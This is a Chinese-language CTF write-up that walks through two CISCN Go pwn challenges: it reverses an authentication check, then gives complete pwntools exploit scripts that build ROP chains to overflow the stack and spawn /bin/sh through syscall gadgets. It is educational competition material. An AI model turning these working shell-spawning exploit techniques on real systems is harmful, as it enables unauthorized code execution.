go的栈溢出详细解析
sn0w 发表于 广东 技术文章 349浏览 · 2024-11-26 16:26

马上又要到国赛了,想到近几年国赛次次有go借着最近有时间复习了一下go的打法,一般以溢出为主

2023 ciscn shellwego

程序回显

main_main

通过 ciscnshell$ 字符串找到 main_main,go的代码反编译看的不是很懂 这里直接看汇编发现 有两个模式 第一个模式是ciscnshell$,第二个模式是nightingale# 猜测是要进入第二个模式,应该是要满足什么条件验证

两条线都进入了 main_unk_func0b05 说明这里是关键函数,通过调试可以发现

qword_5D1128的初始值为0 跟踪这个值发现涉及到的有

main_unk_fun0b01 main_unk_func0b05 main_main

main_unk_func0b05

这里有检测是否是0 如果是则执行蓝色的区域,不是的话就跳转到 loc_4C1A24,注意到蓝色区域还有一个比较

说明得进入 loc4C1A24 不然程序就返回了 也就是 我们输入的要和74726563这个一样 也就是转化为字符串后是cert

这里的rbx 是看的多少传参(通过跟踪程序流可以发现)

这里的 gensplit 是 go 中 split 操作的内部函数

从参数和结果推测原函数是 Split(S, “ ”) ,分割空格前后的字符串

因此我们输入cert a b 则可以使得rbx为3绕过检测

这个cmp qword ptr[rax+18h],9经过调试发现是我们输入第一个参数的长度因此我们输入

cert aaaaaaaaa b 既可以绕过该检测

第一个参数 得是63694D734463416E转化为字符串是nAcDsMic倒过来是nAcDsMic

然后最后一个检测0x4e nAcDsMicN

然后就绕过了 进入了main_unk_func0b01

main_unk_func0b01

F1nallB1rd3K3y

这个地方检测的是 我们输入的第二个参数 经过base64编码后的字符串的长度

将这两个分别转化为字符串并倒过来拼接为5362703858494C4A 4761572F755A5976h

得到JLIX8pbSvYZu/WaG

因此我们要通过 我们输入的东西 经过rc4解密后 base64编码后 是JLIX8pbSvYZu/WaG即可

因此得到的最终认证是:

cert nAcDsMicN S33UAga1n@#!

漏洞分析

main_fun0b04

用了 concatstring2,会检查上一次拼接的长度有没有超过 0x200

而这个位置i>=0x400是够我们溢出的,且输入+可以跳过赋值的过程 就可以越过一部分栈的数据 导致进行rop的同时程序不会崩掉

echo a*0x200 b*0x200看能不能打崩

成功打崩了 然后就测试溢出大小走rop就可以了 没开什么保护

exp如下

#!/usr/bin/python3
from pwn import *
import random
import os
import sys
import time
from pwn import *
from ctypes import *

#--------------------setting context---------------------
context.clear(arch='amd64', os='linux', log_level='debug')

#context.terminal = ['tmux', 'splitw', '-h']
sla = lambda data, content: mx.sendlineafter(data,content)
sa = lambda data, content: mx.sendafter(data,content)
sl = lambda data: mx.sendline(data)
rl = lambda data: mx.recvuntil(data)
re = lambda data: mx.recv(data)
sa = lambda data, content: mx.sendafter(data,content)
inter = lambda: mx.interactive()
l64 = lambda:u64(mx.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
h64=lambda:u64(mx.recv(6).ljust(8,b'\x00'))
s=lambda data: mx.send(data)
log_addr=lambda data: log.success("--->"+hex(data))
p = lambda s: print('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))

def dbg():
    gdb.attach(mx)

#---------------------------------------------------------
# libc = ELF('/home/henry/Documents/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/libc.so.6')
filename = "./shellwego"
mx = process(filename)
#mx = remote("0192d63fbe8f7e5f9ab5243c1c69490f.q619.dg06.ciihw.cn",43013)
elf = ELF(filename)
libc=elf.libc
#初始化完成---------------------------------------------------------\

rl("ciscnshell$ ")
sl(b'cert nAcDsMicN S33UAga1n@#!')
rl("nightingale# ")
#0x21b+8
syscall=  0x40328c
pop_rax = 0x040d9e6
pop_rdi = 0x444fec
pop_rdx = 0x49e11d
pop_rsi = 0x41e818
bin_sh = 0x588018
payload = b'echo '+b'+'*0x200 + b' ' + b'+'*0x23
rop = (
    p64(pop_rax) +
    p64(0) +
    p64(pop_rdi) +
    p64(0) +
    p64(pop_rsi) +
    p64(bin_sh) +
    p64(pop_rdx) +
    p64(50) +
    p64(syscall) +
    p64(pop_rax) +
    p64(59) +
    p64(pop_rdi) +
    p64(bin_sh) +
    p64(pop_rsi) +
    p64(0) +
    p64(pop_rdx) +
    p64(0) +
    p64(syscall)
)
payload+=rop

sl(payload)
sl(b'/bin/sh\x00')

inter()

2024 ciscn gostack

程序回显

静态代码分析

直接看这种 有点难看 这里由于程序功能较为简单因此直接用动态调试去测试代码

动态调试

通过调试可以发现 是这个指令进行的syscall系统调用 且后续的函数write&read都是通过这个

读入在0xc0000b4000这个地址 后面会通过一系列操作 进入栈段中

再进一步调试发现:

计算了一下偏移为0x1c8+8

因为有syscall 就直接读入bss段 然后再拿shell

这里填充数据要用\x00不能用其他的 因为for循环赋值后还有别的函数要执行,那么把原本栈上的数据覆盖为a肯定会影响其他函数执行,在其他函数执行的时候程序就崩掉了,执行不到rop链条

改为\x00后就可以执行rop链条并且拿到shell


exp

#!/usr/bin/python3
from pwn import *
import random
import os
import sys
import time
from pwn import *
from ctypes import *


#--------------------setting context---------------------
context.clear(arch='amd64', os='linux', log_level='debug')

#context.terminal = ['tmux', 'splitw', '-h']
sla = lambda data, content: mx.sendlineafter(data,content)
sa = lambda data, content: mx.sendafter(data,content)
sl = lambda data: mx.sendline(data)
rl = lambda data: mx.recvuntil(data)
re = lambda data: mx.recv(data)
sa = lambda data, content: mx.sendafter(data,content)
inter = lambda: mx.interactive()
l64 = lambda:u64(mx.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
h64=lambda:u64(mx.recv(6).ljust(8,b'\x00'))
s=lambda data: mx.send(data)
log_addr=lambda data: log.success("--->"+hex(data))
p = lambda s: print('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))

def dbg():
    gdb.attach(mx)

#---------------------------------------------------------
# libc = ELF('/home/henry/Documents/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/libc.so.6')
filename = "./gostack"
mx = process(filename)
#mx = remote("0192d63fbe8f7e5f9ab5243c1c69490f.q619.dg06.ciihw.cn",43013)
elf = ELF(filename)
libc=elf.libc
#初始化完成---------------------------------------------------------\


dbg()
pause()
pop_rsi_ret = 0x000000000042138a
pop_rdx_ret = 0x00000000004944ec
pop_rax_ret = 0x000000000040f984
leave_ret = 0x00000000004A0BCF
syscall = 0x0000000000404043
pop_rdi_r14_r13_r12_rbp_rbx_ret = 0x00000000004a18a5
bss = 0x579600+0x200
pop_rbp_ret = 0x4023ed

payload = b'\x00' * 0x1d0
payload += p64(pop_rdi_r14_r13_r12_rbp_rbx_ret) + p64(0) * 6
payload += p64(pop_rsi_ret) + p64(bss)
payload += p64(pop_rdx_ret) + p64(0x100)
payload += p64(pop_rbp_ret) + p64(bss)
payload += p64(pop_rax_ret) + p64(0)
payload += p64(syscall) + p64(leave_ret)
sla(b'message', payload)

payload = b'/bin/sh\x00'
payload += p64(pop_rdi_r14_r13_r12_rbp_rbx_ret) + p64(bss) + p64(0) * 5
payload += p64(pop_rsi_ret) + p64(0)
payload += p64(pop_rdx_ret) + p64(0)
payload += p64(pop_rax_ret) + p64(59)
payload += p64(syscall)
sl(payload)

inter()
0 条评论
某人
表情
可输入 255